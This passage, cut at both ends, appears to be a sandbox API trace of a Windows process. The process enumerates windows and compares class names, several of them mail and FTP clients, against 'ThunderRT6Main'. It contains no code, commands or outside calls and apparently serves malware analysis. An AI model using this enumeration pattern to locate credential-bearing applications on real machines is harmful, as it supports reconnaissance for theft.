returned 0x978 [0134.533] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0134.533] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.533] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0134.533] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0134.533] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0134.533] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0134.533] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0134.533] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.533] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0134.533] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0134.533] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0134.533] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0134.533] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0134.533] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.534] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0134.534] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0134.534] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0134.534] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0134.534] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0134.534] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.534] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0134.534] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0134.534] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0134.534] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0134.534] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0134.534] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.534] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0134.534] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0134.534] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0134.534] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0134.534] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0134.534] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.534] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0134.534] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0134.534] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0134.534] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0134.534] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0134.535] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0134.535] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.535] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0134.535] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0134.535] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0134.535] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0134.535] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0134.535] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.535] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0134.535] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0134.535] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0134.535] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0134.535] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0134.535] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.535] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0134.535] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0134.535] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0134.535] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0134.535] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0134.535] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.535] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.535] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0134.535] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0134.536] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0134.536] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0134.536] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0134.536] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.536] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0134.536] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0134.536] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0134.536] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0134.536] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0134.536] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.536] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0134.536] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0134.536] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0134.536] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0134.536] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0134.536] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.536] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0134.536] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0134.536] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0134.536] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0134.536] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0134.536] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.536] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.536] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0134.536] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0134.537] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0134.537] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0134.537] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0134.537] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.537] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0134.537] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0134.537] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0134.537] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0134.537] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0134.537] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.537] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0134.537] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0134.537] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0134.537] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0134.537] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0134.537] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.537] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0134.537] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0134.537] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0134.537] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0134.537] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0134.537] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.537] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.537] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0134.537] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0134.537] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0134.538] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0134.538] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0134.538] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.538] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0134.538] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0134.538] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0134.538] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0134.538] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0134.538] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.538] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0134.538] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0134.538] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0134.538] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0134.538] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0134.538] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.538] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0134.538] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0134.538] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0134.538] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0134.538] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0134.538] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.538] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0134.538] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0134.538] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0134.538] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0134.538] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0134.539] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0134.539] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0134.539] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0134.539] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0134.539] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0134.539] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0134.539] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0134.539] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0134.539] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0134.539] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0134.539] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0134.539] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0134.539] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0134.539] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0134.539] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0134.539] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0134.539] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0134.539] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0134.539] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0134.539] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0134.539] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0134.539] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0134.539] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.539] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0134.540] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0134.540] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0134.540] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0134.540] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0134.540] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.540] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0134.540] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0134.540] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0134.540] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0134.540] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0134.540] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.540] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0134.540] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0134.540] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0134.540] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0134.540] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0134.540] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0134.540] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.540] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0134.541] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0134.541] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0134.541] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0134.541] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0134.541] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.541] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0134.541] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0134.541] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0134.541] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0134.541] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0134.541] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.541] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0134.541] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0134.541] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0134.541] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0134.541] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0134.541] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.541] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0134.541] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0134.541] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0134.541] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0134.541] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0134.541] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0134.542] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.542] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0134.542] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0134.542] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | 